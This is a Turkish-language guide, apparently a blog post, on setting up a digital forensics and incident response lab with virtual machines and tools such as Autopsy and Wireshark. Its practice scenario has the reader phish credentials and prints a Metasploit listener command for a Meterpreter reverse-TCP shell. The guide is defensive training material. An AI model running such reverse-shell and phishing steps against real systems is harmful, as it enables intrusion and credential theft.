DFIR Lab Kurulumu: Ad\u0131m Ad\u0131m K\u0131lavuz<\/p>\n
Siber g\u00fcvenlik olaylar\u0131na yan\u0131t verme (DFIR) uzmanl\u0131\u011f\u0131na ilgi duyuyor ancak nereden ba\u015flayaca\u011f\u0131n\u0131z\u0131 bilmiyor musunuz? Bu makale, size s\u0131f\u0131rdan ba\u015flayarak kendi DFIR laboratuvar\u0131n\u0131z\u0131 kurman\u0131z i\u00e7in ad\u0131m ad\u0131m bir k\u0131lavuz sunuyor. Temel kavramlardan ileri tekniklere kadar, ger\u00e7ek d\u00fcnya senaryolar\u0131yla desteklenen kapsaml\u0131 bir yol haritas\u0131 bulacaks\u0131n\u0131z. \u0130ster yeni ba\u015flayan ister deneyimli bir uzman olun, bu k\u0131lavuz DFIR yeteneklerinizi geli\u015ftirmenize yard\u0131mc\u0131 olacakt\u0131r.<\/p>\n
\u00d6ncelikle, DFIR\u2019\u0131n ne oldu\u011funu ve neden bir laboratuvara ihtiya\u00e7 duydu\u011funuzu anlaman\u0131z gerekiyor. DFIR (Digital Forensics and Incident Response), dijital cihazlar ve sistemlerden dijital deliller toplama, analiz etme ve olaylara yan\u0131t verme s\u00fcrecini kapsar. Bir DFIR laboratuvar\u0131, bu s\u00fcre\u00e7leri g\u00fcvenli ve kontroll\u00fc bir ortamda sim\u00fcle etmenizi sa\u011flar. Bu sayede, ger\u00e7ek d\u00fcnya senaryolar\u0131n\u0131 pratik ederek deneyim kazanabilir ve yeni ara\u00e7lar\u0131 test edebilirsiniz. Bu laboratuvar, hem e\u011fitim hem de ara\u015ft\u0131rma amac\u0131yla kullan\u0131labilmektedir. \u00d6rne\u011fin, bir sald\u0131r\u0131 sonras\u0131 kurtarma senaryosunu uygulamak veya yeni bir malware analiz arac\u0131 denemek i\u00e7in ideal bir ortamd\u0131r. Ba\u015flang\u0131\u00e7 seviyesinde, sanal makineler kullanarak riskleri minimum seviyede tutman\u0131z \u00f6nerilir. Daha sonra, kendi fiziksel donan\u0131m\u0131n\u0131z\u0131 kurabilirsiniz. Ancak, \u00f6ncelikle hedeflerinizi belirlemeniz ve kaynaklar\u0131n\u0131z\u0131 planlaman\u0131z \u00f6nemlidir.<\/p>\n
Bir DFIR laboratuvar\u0131n\u0131n en temel bile\u015feni, sanal makinelerdir. Sanal makineler, fiziksel bilgisayar\u0131n\u0131z \u00fczerinde ba\u011f\u0131ms\u0131z i\u015fletim sistemleri \u00e7al\u0131\u015ft\u0131rman\u0131za olanak tan\u0131r. Bu, farkl\u0131 i\u015fletim sistemlerindeki sald\u0131r\u0131lar\u0131 ve g\u00fcvenlik olaylar\u0131n\u0131 g\u00fcvenli bir \u015fekilde sim\u00fcle etmenizi sa\u011flar. VirtualBox ve VMware Workstation gibi pop\u00fcler sanal makine yaz\u0131l\u0131mlar\u0131n\u0131 kullanabilirsiniz. Bu yaz\u0131l\u0131mlardan birini indirdikten sonra, istedi\u011finiz i\u015fletim sisteminin ISO dosyas\u0131n\u0131 kullanarak bir sanal makine olu\u015fturabilirsiniz. \u00d6rne\u011fin, Windows, Kali Linux veya Ubuntu gibi i\u015fletim sistemlerini kullanabilirsiniz. Her i\u015fletim sisteminin farkl\u0131 avantajlar\u0131 ve dezavantajlar\u0131 vard\u0131r. Windows, yayg\u0131n kullan\u0131lan bir i\u015fletim sistemi oldu\u011fu i\u00e7in, bir\u00e7ok sald\u0131rgan\u0131n hedef ald\u0131\u011f\u0131 bir sistemdir. Kali Linux ise, g\u00fcvenlik ara\u015ft\u0131rmalar\u0131 i\u00e7in tasarlanm\u0131\u015f bir Linux da\u011f\u0131t\u0131m\u0131 olup, bir\u00e7ok g\u00fcvenlik arac\u0131 i\u00e7erir. Ubuntu ise, genel ama\u00e7l\u0131 bir Linux da\u011f\u0131t\u0131m\u0131d\u0131r ve sistem y\u00f6netimi becerilerinizi geli\u015ftirmenize yard\u0131mc\u0131 olabilir.<\/p>\n
DFIR laboratuvar\u0131n\u0131z i\u00e7in do\u011fru yaz\u0131l\u0131m ve ara\u00e7lar\u0131 se\u00e7mek, verimlili\u011finizi ve etkinli\u011finizi art\u0131rmak i\u00e7in olduk\u00e7a \u00f6nemlidir. Bu a\u015famada, ihtiya\u00e7lar\u0131n\u0131za g\u00f6re ara\u00e7 se\u00e7imi yapman\u0131z gerekmektedir. \u00d6rne\u011fin, disk imajlama i\u00e7in FTK Imager veya Autopsy gibi ara\u00e7lar, a\u011f trafi\u011fini analiz etmek i\u00e7in Wireshark, tersine m\u00fchendislik i\u00e7in IDA Pro veya Ghidra gibi ara\u00e7lar kullan\u0131labilir. Ayr\u0131ca, malware analizine y\u00f6nelik sandbox ortamlar\u0131 (\u00f6rne\u011fin, Cuckoo Sandbox) da kullan\u0131\u015fl\u0131 olacakt\u0131r. Ba\u015flang\u0131\u00e7ta, \u00fccretsiz ve a\u00e7\u0131k kaynakl\u0131 ara\u00e7larla ba\u015flamak, maliyetleri d\u00fc\u015f\u00fcrmenize yard\u0131mc\u0131 olabilir. Ancak, profesyonel d\u00fczeyde \u00e7al\u0131\u015fma yap\u0131yorsan\u0131z, daha geli\u015fmi\u015f \u00f6zelliklere sahip ticari ara\u00e7lara da yat\u0131r\u0131m yapabilirsiniz. Ara\u00e7 se\u00e7iminiz, hedefledi\u011finiz olay t\u00fcr\u00fcne ve uzmanl\u0131k alan\u0131n\u0131za ba\u011fl\u0131 olarak de\u011fi\u015febilir. \u00d6rne\u011fin, mobil cihaz incelemesi yap\u0131yorsan\u0131z, Cellebrite UFED gibi \u00f6zel ara\u00e7lara ihtiya\u00e7 duyabilirsiniz.<\/p>\n
Yeni ba\u015flayanlar i\u00e7in, Autopsy (a\u00e7\u0131k kaynakl\u0131 disk imajlama ve analiz arac\u0131), Wireshark (a\u011f paket yakalama ve analiz arac\u0131) ve VirtualBox (sanal makine yaz\u0131l\u0131m\u0131) iyi bir ba\u015flang\u0131\u00e7 noktas\u0131d\u0131r. Bu ara\u00e7lar\u0131 kullanarak, temel olay yan\u0131tlar\u0131n\u0131 sim\u00fcle edebilir ve dijital delillerin nas\u0131l analiz edilece\u011fini \u00f6\u011frenebilirsiniz.<\/p>\n
\u015eimdi, \u00f6\u011frendiklerimizi prati\u011fe d\u00f6kmenin zaman\u0131 geldi. Bir basit phishing sald\u0131r\u0131s\u0131n\u0131 sim\u00fcle ederek, bir DFIR olay\u0131na nas\u0131l yan\u0131t verebilece\u011finizi g\u00f6sterece\u011fiz. \u00d6ncelikle, bir sanal makinede Windows kurun. Daha sonra, bir phishing e-postas\u0131 g\u00f6ndererek, kullan\u0131c\u0131 ad\u0131 ve \u015fifre bilgilerini \u00e7almaya \u00e7al\u0131\u015f\u0131n. Bu sim\u00fclasyon i\u00e7in, bir Metasploit framework'\u00fc kullanabilirsiniz. Metasploit, g\u00fcvenlik testleri i\u00e7in kullan\u0131lan bir \u00e7er\u00e7evedir ve kolayca kullan\u0131labilir sald\u0131r\u0131 vekt\u00f6rleri sa\u011flar. Sald\u0131r\u0131 sonras\u0131, hedef sistemde neler oldu\u011funu incelemek i\u00e7in Autopsy kullan\u0131n. Kay\u0131p verileri belirleyin, sald\u0131rgan\u0131n izlerini bulun ve sald\u0131r\u0131ya nas\u0131l yan\u0131t verebilece\u011finizi d\u00fc\u015f\u00fcn\u00fcn. Bu uygulamal\u0131 senaryo, DFIR s\u00fcre\u00e7lerini anlamak ve pratik becerilerinizi geli\u015ftirmek i\u00e7in harika bir f\u0131rsatt\u0131r. Daha sonra, bu olay\u0131 bir rapor haline getirin. Raporlama, DFIR s\u00fcrecinin \u00f6nemli bir par\u00e7as\u0131d\u0131r ve elde edilen sonu\u00e7lar\u0131 etkili bir \u015fekilde iletmenizi sa\u011flar.<\/p>\n
<\/code><\/p>\n
html<\/pre>\n<\/code>
\n# \u00d6rnek Metasploit komutu (kullan\u0131m\u0131ndan \u00f6nce etik kurallara uyulmal\u0131d\u0131r)
\nmsfconsole
\nuse exploit\/multi\/handler
\nset PAYLOAD windows\/meterpreter\/reverse_tcp
\nset LHOST 192.168.1.100 # Kendi IP adresinizi kullan\u0131n
\nset LPORT 4444
\nexploit
\n<\/code><\/p>\n
<\/pre>\n<\/code><\/p>\n
\u0130leri D\u00fczey DFIR Laboratuvar Kurulumu: Y\u00fcksek Performansl\u0131 \u00c7\u00f6z\u00fcmler<\/h2>\n
Ba\u015flang\u0131\u00e7 seviyesinin \u00f6tesine ge\u00e7mek isteyenler i\u00e7in, y\u00fcksek performansl\u0131 bir DFIR laboratuvar\u0131 kurmak i\u00e7in birka\u00e7 ipucu verece\u011fiz. B\u00fcy\u00fck miktardaki veriyi i\u015flemek i\u00e7in daha g\u00fc\u00e7l\u00fc donan\u0131m kullanman\u0131z gerekebilir. SSD s\u00fcr\u00fcc\u00fcler, daha h\u0131zl\u0131 i\u015flemciler ve daha fazla RAM, analiz s\u00fcrelerini \u00f6nemli \u00f6l\u00e7\u00fcde k\u0131saltacakt\u0131r. Ayr\u0131ca, a\u011f trafi\u011fini analiz etmek i\u00e7in daha geli\u015fmi\u015f ara\u00e7lar ve daha sofistike sim\u00fclasyon ortamlar\u0131 kullanabilirsiniz. Bu d\u00fczeyde, yaz\u0131l\u0131m tan\u0131mlama (software-defined networking - SDN) \u00e7\u00f6z\u00fcmlerine de bakabilirsiniz. SDN, a\u011f trafi\u011fini daha etkili bir \u015fekilde izleyip analiz etmenizi sa\u011flar. Ancak, bu \u00e7\u00f6z\u00fcmler daha karma\u015f\u0131k olabilir ve ek bilgi gerektirebilir. Ayr\u0131ca, daha geli\u015fmi\u015f otomasyon ara\u00e7lar\u0131na yat\u0131r\u0131m yapabilirsiniz. Otomasyon, zaman kazand\u0131ran ve tekrar eden g\u00f6revleri otomatikle\u015ftirmenize yard\u0131mc\u0131 olan bir fakt\u00f6rd\u00fcr. Bunlara \u00f6rnek olarak, olay yan\u0131t otomasyonu platformlar\u0131 veya \u00f6zel betikler verilebilir. Bu seviyede, g\u00fcvenlik olaylar\u0131n\u0131 ger\u00e7ek zamanl\u0131 olarak analiz etmek ve yan\u0131t vermek i\u00e7in SIEM (Security Information and Event Management) sistemlerini kullanabilirsiniz.<\/p>\n
\u00d6\u011frenme Yol Haritas\u0131<\/h2>\nYeni Ba\u015flayanlar:<\/h3>\n